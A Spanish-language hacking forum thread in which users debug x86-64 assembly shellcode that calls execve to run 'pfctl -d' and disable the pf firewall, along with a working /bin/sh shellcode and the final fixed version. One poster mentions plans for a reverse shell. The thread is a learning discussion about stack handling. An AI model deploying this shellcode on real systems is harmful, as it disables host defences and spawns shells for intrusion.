Autor
|
Tema: Shellcode direcciones (Leído 5,291 veces)
|
xv0
Desconectado
Mensajes: 1.027
|
Hola Estoy creando una shellcode para que desactive pf, y tengo el siguiente problema. .section .text .globl _start _start: pushq %rax push $0x6c746366 push $0x702f6e69 push $0x62732f2f movq %rsp, %rdi pushq %rax push $0x642d pushq %rdi movq %rsp, %rsi xorq %rax, %rax movb $0x3b, %al int $0x80 xorq %rax, %rax movb $0x01, %al int $0x80
No presenta ninguna segmentation fault así que la tracé. 11277 l CALL execve(0x7f7fffff6960,0x7f7fffff6948,0) 11277 l NAMI "//sb" 11277 l RET execve -1 errno 2 No such file or directory 11277 l CALL exit(0x7f7fffff6960) Al cargar la dirección de pfctl, solo copia en el registro rdi 0x62732f2f "//sb" no entiendo porque no carga la dirección completa. Un saludo.
|
|
|
En línea
|
|
|
|
xv0
Desconectado
Mensajes: 1.027
|
Hice una de /bin/sh y funciona. .section .text .globl _start _start: pushq %rax movq $0x68732f6e69622f2f, %rax pushq %rax movq %rsp, %rdi xchgq %rax, %rbx pushq %rax movq %rsp, %rsi movb $0x3b, %al int $0x80
La dirección es de 64bits, por eso la puedo copiar a rax, pero que pasa cuando es mayor como la de arriba por que no funcionan los push? Un saludo.
|
|
« Última modificación: 3 Enero 2013, 15:56 pm por cpu2 »
|
En línea
|
|
|
|
xv0
Desconectado
Mensajes: 1.027
|
Perdón por el triple post.
Probé los push en una arquitectura de 32 bits y funcionan, porque en la de 64 bits no?
¿Como podría hacer eso en la de 64 bits?
Un saludo.
|
|
|
En línea
|
|
|
|
avesudra
Desconectado
Mensajes: 724
Intentando ser mejor cada día :)
|
Por lo que he estado leyendo no se puede hacer push con registros de 32 bits tiene que ser con el de 64 entero si se está programando en 64 bits ya que la pila se maneja así.. Yo no tengo mucha idea aviso eh pero no se ¿se podría hacer esto?: .section .text .globl _start _start: pushq %rax pushq $0x6c746366 pushq $0x702f6e69 pushq $0x62732f2f movq %rsp, %rdi pushq %rax pushq $0x642d pushq %rdi movq %rsp, %rsi xorq %rax, %rax movb $0x3b, %al int $0x80 xorq %rax, %rax movb $0x01, %al int $0x80
¿O la he liado demasiado? He sacado esto de la documentación de AMD: In 64-bit mode, the operand size of all PUSH instructions defaults to 64 bits, and there is no prefix available to encode a 32-bit operand size. Using the PUSH CS, PUSH DS, PUSH ES, or PUSH SS instructions in 64-bit mode generates an invalid-opcode exception. Pushing an odd number of 16-bit operands when the stack address-size attribute is 32 results in a misaligned stack pointer.
Fuente: http://support.amd.com/us/Processor_TechDocs/24594_APM_v3.pdf
|
|
« Última modificación: 2 Enero 2013, 22:02 pm por avesudra »
|
En línea
|
Regístrate en
|
|
|
xv0
Desconectado
Mensajes: 1.027
|
No entendiste mí pregunta, si puedo hacer push con esas direcciones de 32 bits lo que pasa es que solo copia la primera dirección las otras dos no. push $0x6c746366 push $0x702f6e69 push $0x62732f2f # //sb
11277 l CALL execve(0x7f7fffff6960,0x7f7fffff6948,0) 11277 l NAMI "//sb" 11277 l RET execve -1 errno 2 No such file or directory 11277 l CALL exit(0x7f7fffff6960) Pero en una arquitectura de 32 bits si que funcionan. En cuanto a tú solución, no la liaste, pero las q no afectan en nada eso ya lo probé antes de que lo dijeras, como dice ese fragmento sacado de los manuales de AMD si que puedo hacer push a 16-bit pero me deja un opcode (bad). La solución es mover bits ala derecha con shr, así funciono, lo probé con otro código, cuando lo tenga implementado en la shellcode lo subo. Un saludo. P.D: La shellcode de /bin/sh pesa un byte menos con un xchg. P.D2: Todo esto lo quiero implementar en una reverse shell, pero nose si se pueden subir esos códigos al foro.
|
|
|
En línea
|
|
|
|
0xDani
Desconectado
Mensajes: 1.077
|
Claro que se puede subir una reverse shell al foro, si hay un subforo de analisis y diseño de malware y se suben troyanos
|
|
|
En línea
|
I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!
I code for $$$ Hago trabajos en C/C++ Contactar por PM
|
|
|
xv0
Desconectado
Mensajes: 1.027
|
.section .text .globl _start _start: pushq %rax pushw $0x642d movq %rsp, %r8 movq $0x6c7463ffffffffff, %rax shrq $0x28, %rax pushq %rax movq $0x66702f6e6962732f, %rax pushq %rax movq %rsp, %rdi xchgq %rax, %r9 pushq %rax pushq %r8 pushq %rdi movq %rsp, %rsi movb $0x3b, %al syscall
Mueve 40 bits ala derecha, las ff, dejando espacio para la segunda dirección. Miraré los manuales de intel o amd tendra que poner algo sobre el stack de 64 bits, en la arquitectura de 32 bits no hace falta mover bits, no sé es como si la de 64 bits no reservara espacio, no lo entiendo del todo. Un saludo. P.D: Tema resuelto.
|
|
« Última modificación: 5 Enero 2013, 13:26 pm por cpu2 »
|
En línea
|
|
|
|
avesudra
Desconectado
Mensajes: 724
Intentando ser mejor cada día :)
|
Que curioso, entonces al final lo que te quedaría en la pila sería: 0x00000000006c7463 0x66702f6e6962732f
Pero en tu primero código si funcionase te quedaría así: 0x000000006c746366 0x00000000702f6e69 0x0000000062732f2f
¿Eso no importa? Perdona por la ignorancia
|
|
|
En línea
|
Regístrate en
|
|
|
xv0
Desconectado
Mensajes: 1.027
|
Exacto, tú mismo contestaste tú pregunta, si no moviera esos 5 byte seria así: 0x6c7463ffffffffff 0x66702f6e6962732f
Y el de 32 bits no funciona por culpa de los byte nulos, por eso solo reconoce //sb. Un saludo. P.D: Hice como un ejercicio con la syscall write, lo quieres?
|
|
|
En línea
|
|
|
|
|
|